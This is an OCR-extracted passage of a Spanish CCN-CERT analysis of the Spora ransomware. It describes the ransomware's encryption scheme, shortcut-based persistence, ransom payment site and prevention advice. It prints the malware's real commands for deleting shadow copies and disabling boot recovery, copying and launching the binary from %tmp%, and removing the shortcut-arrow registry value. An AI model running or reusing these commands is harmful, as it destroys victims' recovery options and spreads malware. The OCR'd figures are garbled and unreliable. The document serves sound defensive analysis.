4% E7 0B CE 43 A9 .6./..J...C 4n E7 08 CE 43 29 .6./..J...C
23 B1 4D §C EC 20 .h....#.M.. 23 Bl 4D 9C EC 20 .h....%#.M..
D5 €D B3 ED F1 4D ..X[Oo..... M D5 €D BY ED F1 4D ..X[Oo..... M
DE OR 64 03 27 25 >4CN....d..% DB OR 64 03 27 25 >4CN....d..%
14 7C 42 82 3E AD #=.W.|B.> il 14 7c 42 82 3E AD #=.W.|B.>
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Fig. 12. Bytes a partir de 0x500000 de un fichero grande

El recorrido de los ficheros se realiza de forma secuencial para cada grupo de
extensiones a cifrar; es decir, primero se cifrardn los ficheros del grupo 1 (objetos
Office), posteriormente los del grupo 2, y asi hasta llegar al sexto grupo. A continuacién
se muestra un pseudo-cédigo que ilustra el proceso:

for (inti=1; i<=6; i++){
for(fich:ficheros){
if(comprueba_extension(fich, i))
cifra(fich)
}
}

Una vez todos los ficheros han sido cifrados, el cédigo danino procede a
reemplazar en el archivo HTML del rescate, los valores marcados como {key} por el ID
generado. A continuacién, se genera el fichero y lo copia en las mismas rutas que el
archivo .KEY, ddndole el mismo nombre (ID de victima).

El Ultimo paso del proceso de cifrado consiste en la creacién de un fichero con
extension .LST y mismo nombre que el fichero con extension .KEY y el que termina en
.HTML y que contendrd una lista con los nombres y las rutas de los ficheros que han sido
cifrados. Todos estos ficheros estdn cifrados con una nueva clave AES-256 que es
cifrada con la clave publica RSA-2 para preservar su confidencialidad.

Al igual que sucede con los ficheros, dicha clave simétrica cifrada con una
clave publica, se anade al final de cada archivo. Es probable que dicho archivo sea
utilizado en el proceso de descifrado desarrollado por la utilidad o aplicacién de
descifrado que se recibe después de haber pago del rescate.

En la siguiente figura se puede apreciar un resumen de ftodo el sistema de
cifrado.
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<entra criptolégico nacional

Malware author’s
public RSA key

KAES-l

Informacion

Fichero
Ejecutable

A 4 A 4
PriV gsa 5 [| Kaes o | Info

New 1024 bit RSA key pair.
Victim’s RSA key.

RND

Fichero

Fichero 5MB

Cifrado |
: I<AES»i |

Como es comun en este tipo de cdédigos daninos, se eliminan las Windows
Shadow Copies para intentar evitar la restauracién de los ficheros secuestrados
mediante esta técnica. Para ello, el ransomware ejecuta el siguiente comando a
través de la utilidad wmics3:

"process call create "cmd.exe /c vssadmin.exe
delete shadows /all /quiet & bcdedit.exe /set {default} recoveryenabled no &
bcdedi"

Esta accién requiere de la autorizacién del usuario mediante el UAC#4 (User
Account Control) si no se dispone de privilegios de administrador. De ser rechazada,
volverd a ser solicitada hasta que sea aceptada.

Antes de concluir la ejecucion, el cédigo danino lanza una instancia del
navegador web por omision apuntando al fichero .HTML con las instrucciones para el
pago del rescate.

3 Ver https://technet.microsoft.com/en-us/library/bb742610.aspx#EEAA

4 Ver https://en.wikipedia.org/wiki/User Account Control
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| {Spora Ransomware *\ + (=R =
©) | files/#/C:/Users/Usuario/Desktop/ESF2A-CCXTX-OTZTK-TOXTR-OYVYV.HTML e |(a %A & # =

Bce Bawwu paboune 1 nuyHble cdainbl 6binuy sawmdpoBaHbl

[Ns BoCCTaHOBNEHUA MH(OPMaLIUM, NOMYYeHUA rapaHTuil U NOAAEPKKY,
CNeayATe UHCTPYKUMK B NMYHOM kaBuHeTe.

0 hitps://spora.bz »

Nuubbii kabuHeT

ESF2A-CCXTX-OTZTK-TOXTR-OYYYY

4TO CAYy4nnoch?

CTaHOBHTL Bawm haiins.

L ANORHTT OBparHelit

BaHue. [NA

ecnn Bam kro-nngoe
H CEPEE KyMHT KIIOY ¥ Hac,

Fig. 13. Fichero .HTML de rescate

7. CONEXIONES DE RED

Dado que todo el proceso se realiza de forma offline y sin servidor de mando y
control (C&C), en el caso del ransomware Spora no se realiza ningun tipo de conexién
de red.

8. PERMANENCIA EN EL SISTEMA

Para intentar permanecer en el sistema una vez ha sido ejecutado, Spora
emplea una técnica que consiste en definir como ocultas las carpetas presentes en las
rutas mds utilizadas de un sistema de ficheros (los puntos raiz de medios fijos y
extraibles’, y el escritorio del usuario). Para ello crea tantos accesos directos como
carpetas hubiese originalmente en el directorio, y les da exactamente el mismo
nombre. Esta accidn tiene como objetivo que, una vez el cddigo daiino ha terminado
sU ejecucion, la victima siga cifrando cualquier nuevo fichero que pudiese aparecer
en el sistema, con la mera accidén de navegar a través del sistema de ficheros. La
accién a la que apuntan dichos accesos directos es la siguiente:

C:\Windows\system32\cmd.exe /c explorer.exe NOMBRE_DE_LA_CARPETA & type
"101bc18e-270f-3971-0241-5b1c22360486.exe" > "%tmp%\ 101bc18e-270f-3971-
0241-5b1c22360486.exe" & start NOMBRE_DE_LA_CARPETA "%tmp%\101bc18e-
270f-3971-0241-5b1c22360486.exe"

Esto puede llegar a provocar que se extienda el cédigo danino mediante medios extraibles o

unidades en red, lo que lo hace mdas peligroso.

SIN CLASIFICAR



SIN CLASIFICAR

coN-cert

centra criptaléaic naciona

CCN-CERT ID-08/17 Cédigo Daiino Ransom.Spora

Siendo 101bc18e-270f-3971-0241-5b1c22360486.exe el nombre de una copia del
fichero binario, cuyo nombre ha sido derivado calculando el checksum CRC32 del
VolumeSerialNumbers. Este fichero se ha copiado en los mismos lugares donde se ha
realizado la operacidn de ocultacidén que se ha mencionado.

Con el dnimo de dar mds detalles, decir que el valor de dicho checksum se
utiliza del siguiente formato para la generacion del nombre:

| 7008X-704xX-704X-702x7%02xX- 7%02Xx702x702x 702

Donde % indica el nimero de digitos seguidos de su formato (x si es hexadecimal,
nada si es decimal), se observa que encaja con el nombre obtenido.

Para evitar levantar sospechas, al ejecutar el acceso directo y con ello lanzar a
ejecucion una vez mds el binario de Spora, también se abre la carpeta que
originalmente tenia el nombre de dicho acceso directo y que ahora aparece como
carpeta oculta. De ese modo, la victima que no tenga activada la opcidén de
visualizar las carpetas y archivos ocultos, no se daria cuenta de la ejecucién del binario
daiino ya que consigue abrir la carpeta que pretendia albrir.

. . =
| Propiedades: Windows @ Membre Fecha de modifica.. Tipo Tamafio
| Compatiiidad | Ssguidad | Detales | Versiones arteriores | Perflogs 14/07/2009 5:20 Carpeta de archivos
IMI Acceso directo | Opgiones I Fuerte I Disefio I Colores | Program Files 19/01/2017 11:10 Carpeta de archivos
Program Files (x86) 06/10/2016 13:59 Carpeta de archivos
| Windows
ProgramData 06/10/2016 13:58 Carpeta de archivos
Python27 03/10/2016 16:48 Carpeta de archivos
Tipo de destino:  Aplicacidn o
Ubicacién de TOOLWIZTIMEFREEZE 06/10/2016 12:45 Carpeta de archivos
desting: system32 Users 28/09/2016 16:47 Carpeta de archivos
Destino: 01bc18e-270-3571-0241-5b1c 22360486 exe’ Windows 26/09/201617:43 Carpeta de archivos
Yara 19/01/2017 10:55 Carpeta de archivos
niciar en: 101bclBe-270-3971-0241-5b1c22360486  26/01/2017 17:45 Aplicacién 19 KB
. |&| ES255-BDZTX-OTZTK-TOXTR-OYYYY 08/02/2017 19:25 Firefox HTML Doc... 9 KB
Tecla de método Ninguno
abreviado: | 1] ES255-BDZTX-OTZTK-TOXTR-OYYYY 08/02/2017 19:24 Archivo KEY 2KB
Ejecutar: [M\nimizada v] | 7] ES255-BDZTX-OTZTK-TOXTR-OYYYY 08/02/2017 19:25 Archivo LST TKB
. . Perflogs 08/02/2017 19:25 Acceso directo 2KB
Comentario:
. Program Files (x86) 08/02/2017 19:25 Acceso directo 2KB
[ Abrir ubicacian ] [Camb\ar icono... ] [ Opciones avanzadas... ] . Program Files 08/02/2017 19:25 Acceso directo 2KB
Python27 08/02/2017 19:25 Acceso directo 2KB
J Users 08/02/2017 19:25 Acceso directo 2KB
. Windows 08/02/2017 19:25 Acceso directo 2 KB
Vara NRMN 01T 1925 Arrecn dirertn 1 KR

Figura 14. Suplantacién de carpetas mediante accesos directos

Como medida adicional de su estrategia de ocultacion y permanencia, el

ransomware borra la entrada del registro que se encarga de que en los iconos de 1os
accesos directos aparezca una flecha para diferenciarlos de las carpetas normales.
Esta accién la realiza llamando o RegOpenKeyEx y RegDeleteValue del siguiente
modo:

-RegOpenKeyEx

Argl = hKey HKEY_LOCAL_MACHINE

6 ElvolumeSerialNumber s Un nUmero de 32-bits que identifica un disco de almacenamiento,
y que se determina por la fecha y la hora del reloj real-time de la maquina a la que esté

conectado en el momento de su Ultimo formateo.
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Arg2 = SubKey SOFTWARE\ Classes\ Inkfile
Arg3 = Reserved 0

Arg4 = DesiredAccess KEY_SET_VALUE

Arg5 = pResult 0018FEE4 (salida) = 016C

-RegDeleteValue

Argl = hKey 0x016C

Arg2 = Valve IsShortcut

9. DESINFECCION

Por el momento, no existen herramientas de descifrado (decrypters) que
permitan recuperar los archivos secuestrados sin obtener previomente la clave de
descifrado con la colaboracion del servidor de mando y control (C&C).

10. PREVENCION

Como medidas preventivas se recomiendan aquellas que aparecen recogidas
en el manual de Buenas Practicas CCN-CERT BP-04/16 Ransomware.

Aun asi es especialmente destacable activar la opcién de visualizar archivos y
carpetas ocultas de Windows, para evitar caer en la técnica de persistencia mediante
enlaces directos.

11. INFORMACION DEL C2

Dado que la operacion de este ransomware es esencialmente offline, no existe
servidor de mando y control como tal, sino una infraestructura de pago de los rescates.
Es en ese momento en el que la victima proporciona toda la informaciéon que es
necesaria para descubrir cudles han sido las claves utilizadas en el cifrado de los
ficheros. Esa informacidon es la que estd contenida en el fichero .KEY que ha de
enviarse al realizar el pago del rescate.

Aun asi, es destacable el aspecto limpio, pulido y profesional que presenta la
pdgina para realizar el pago, tal y como se muestra en la imagen:
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Synchronization Required Exit

| My Purchasings

N oss 508 208

@ 0 ©

FULL RESTORE IMMUNITY REMOVAL

Reference: You full decrypt price is 98 USD.

@

Available Payments

BitCoin Need Help?

accepted here
Discount Payment
0% NOT PAID

308 2 FREE
FILE RESTORE | FILE RESTORE |

Current Balance: 0.00 USD

Deadline

6 DAYS

% Language
l Welcome
e
i CHOOSE KEY OrR |
1 and :
i SYNCHRONIZE
| WARNING! v 1

| Public Communication
Wessages: 5

o qot a question..anybady there?

Yes, sure. Ask, please?

e | want to choose removal and file
restore Will File restore option
restore ALL my files?

now i understand i must select full
restare

Yes, thats right.
o hi
o hi @
Type your message —
| My Transactions
Date Task Balance

No transactions yet

Fig. 15. Panel de administracion del rescate

Esta pdgina de rescate tiene algunas caracteristicas que son novedosas en este
sector, como por ejemplo un chat directo con los usuarios afectados y con los
desarrolladores del cédigo danino, también hay opciones distintas para los pagos
(restauracién completa, inmunidad para futuras infecciones, eliminacién del binario,
restauracion de un fichero o una prueba para restaurar dos ficheros pequenos) y un

sistema de descuentos.

12. REFERENCIAS

[REF.- 01]: Captura de pantalla de mensaje de correo fraudulento

https://www.bleepingcomputer.com/news/security/spora-ransomware-works-

offline-has-the-most-sophisticated-payment-site-as-of-yet/
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ANEXO |. DES-OFUSCADO Y EJECUCION DEL DROPPER FLASH.

El primer estado del cddigo sin des-ofuscar seria el siguiente (se han reducido
las longitudes de las cadenas y simplificado los nombres de las variables):

S
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Una vez se ejecutan los bucles de des-ofuscado, el cédigo que se obtienen es
el siguiente:

Dicho cddigo generard las siguientes funciones:
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A continuacioén se procede a llamar a dichas funciones de la siguiente manera:

El resultado obtenido por la funcidn genera seria el siguiente:

R
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Que franscrito a codificacion ASCII equivaldria a:

Dicha informacién serd la que se pasard al objeto Flash, indicando un pardmetro, un
UserAgent especifico y la pdgina desde la que ha de descargarse el supuesto fichero
multimedia y asi comenzar el ataque.
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